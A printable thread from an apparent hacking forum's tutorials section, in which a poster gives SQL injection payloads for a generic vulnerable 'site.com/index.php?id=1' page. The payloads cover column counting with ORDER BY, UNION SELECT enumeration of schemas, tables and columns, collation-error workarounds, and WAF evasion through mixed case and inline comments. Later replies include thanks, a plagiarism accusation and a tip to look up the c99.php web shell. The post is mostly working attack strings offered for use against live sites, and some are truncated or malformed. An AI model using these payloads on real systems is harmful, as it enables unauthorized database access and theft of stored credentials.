SQL injection all solutions - Printable Version

SQL injection all solutions - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: SQL injection all solutions (/Thread-SQL-injection-all-solutions)

Pages: 1 2

SQL injection all solutions - 4don4i - 04-16-2012

ok so here are some simple solutions of some simple problems (sql injection)

if order by" is not working"

so you have a vulnerable site

Code:
site.com/index.php?id=1

but the problem is that order by is not working

you entered this command:-

Code:
site.com/index.php?id=1 order by 1--
<< no eror

Code:
site.com/index.php?id=1 order by 5--
<<no eror

Code:
site.com/index.php?id=1 order by 100--
<< no eror.. wtf !!!

if you get this problem then use sqli string based and put this command:-

Code:
site.com/index.php?id=1' order by 1--+-
<<no eror

Code:
site.com/index.php?id=1' order by 5--+-
<<no eror

Code:
site.com/index.php?id=1' order by 100--+-
<<eror

(note): you can see i have also putted a single qoute (') at the place (id=1')<<so be carefull about this

* some times if you get problems by using order by e.g

Code:
site.com/index.php?id=1 order by 100--
<<no eror

or

Code:
site.com/index.php?id=1 order by 1--
<<eror

then try to change the query like this

Code:
site.com/index.php?id=1 order by 1/*
site.com/index.php?id=1 order by 5/*

here are some more quries like:

Code:
-- - ,, --++- ,, -++--,,

* ok while injecting a site if you see that there are no usefull table..!

like (admin,auth,users,members,login) etc then remember every site have different number of schemas

and there are different tables in every schema and you will get schema names by this command:-

Code:
site.com/index.php?id=1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

and then tables from different schema using this:-

Code:
site.com/index.php?id=1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x<hex value of schema name>

column names:-

Code:
site.com/index.php?id=1 union select 1,2,group_concat(column_name),4 from information_schema.tables where table_schema=0x<hex value of schema name> and table_name=0x<hex value of table name>
hope it will help you

* most sites has the problem when you try to get table names and it gives syntax eror

e.g you used this command:-

Code:
site.com/index.php?id=1 union select 1,2,group_concat(table_name),4 from information_schema.tables
and it give syntax eror like you have eror near at line..blah blah

on this condition you have to use different methods untill your success

am writing down some of these commands:-

Code:
site.com/index.php?id=1 union select 1,2,group_concat(table_name),4 from information_schema.tables limit 0,1--

site.com/index.php?id=1 union select 1,2,concat(unhex(hex(table_name),4 from information_schema.tables limit 0,1

site.com/index.php?id=1 union select 1,2,table_name,4 from information_schema.tables limit 0,1--
hope it will help you

* union select gives eror= illegal mix of collection

Code:
illegal mix of collection
or something like this

then you should use this method:-

Code:
site.com/index.php?id=1 union select 1,2,convert(version() using latin1),4--
current user:-

Code:
site.com/index.php?id=1 union select 1,2,convert(user() using latin1),4--
or

Code:
site.com/index.php?id=1 union select 1,2,unhex(hex(@@version)),4--

Code:
site.com/index.php?id=1 union select 1,2,unhex(hex(user())),4--

mostly unhex(hex)) use to bypass illegal mix of collection eror..

if still not working then you should use this:-

Code:
site.com/index.php?id=1 UnIoN SeLeCt 1,2,unhex(hex(@@version))),4--

* waf (web application firewal)

waf stands for (web application firewal) it blocks the commands and queries it will not block "order by"

but it will block your command "union select" and while using "union select" you will get this eror:-

Code:
404 forbidden you do not have permission to access blah blah

and

not acceptible you do not have to permission blah blah
o now you can bypass this using these commands:-

Code:
site.com/index.php?id=1 UnIoN SeLeCt 1,2,CoNcAt(version()),4--

* site.com/index.php?id=1 UnIoN SeLeCt 1,2,CoNcAt(/*!table_name*/),4 from /*!information_schema*/.tables--

if not working then:-

Code:
site.com/index.php?id=1 /*!UnIoN*/ /*!SeLeCt*/ 1,2,CoNcAt(/*!table_name*/),4 from /*!information_schema*/.tables

* site.com/index.php?id=1 /*!UnIoN*/ /*!SeLeCt*/ 1,2,/*!CoNcAt*/(/*!table_name*/),4 from /*!information_schema*/.tables
it will help you..

* if still getting eror again and again then you should use sql double query eror base and you can find here my tutorial about sql double query eror based

it will be something like this:-

Code:
http://www.site.com/index.php?id=-1+...s+group+by+a)b)

http://www.site.com/index.php?id=-1+...s+group+by+a)b)
if still not acceptible or forbidden eror then use this:-

Code:
site.com/index.php?id=1 oR 1 group by concat_ws(0x3a,version(),user(),database(),floor(r and(0)*2)) having min(0) or 1--

hope it will help you..

RE: SQL injection all solutions - Shining White - 04-16-2012

NIce post , I enjoyed it Smile

RE: SQL injection all solutions - 4don4i - 04-16-2012

thanks boss ...i am glad to help....

RE: SQL injection all solutions - Mediocrity_mybb_import6293 - 04-16-2012

Quote:4don4i

thanks boss ...i am glad to help....

What do you mean you were glad to help all you did was CTRL+C and CTRL+V
Stolen from;
http://www.andhrahackers.com/forum/sql-injection/sql-injection-some-simple-problems-and-solutions/

RE: SQL injection all solutions - peck08 - 05-02-2012

check out the awesomeness Smile

great post man

RE: SQL injection all solutions - Saradomix - 05-18-2012

Thanks for the info >.< learned something new xD

RE: SQL injection all solutions - HrDe - 05-18-2012

Enjoying every time Smile

make interesting in read.

RE: SQL injection all solutions - r0ub3n-41 - 05-23-2012

Thanks i need it. You have a tuto for injection XSS?

RE: SQL injection all solutions - 4don4i - 08-20-2012

What do you mean you were glad to help all you did was CTRL+C and CTRL+V
Stolen from;
http://www.andhrahackers.com/forum/sql-i...solutions/...es ,but the poster it's me ha h ha ha ...

RE: SQL injection all solutions - Anderson - 08-21-2012

Look up c99.php shell see what it does and thank me later :p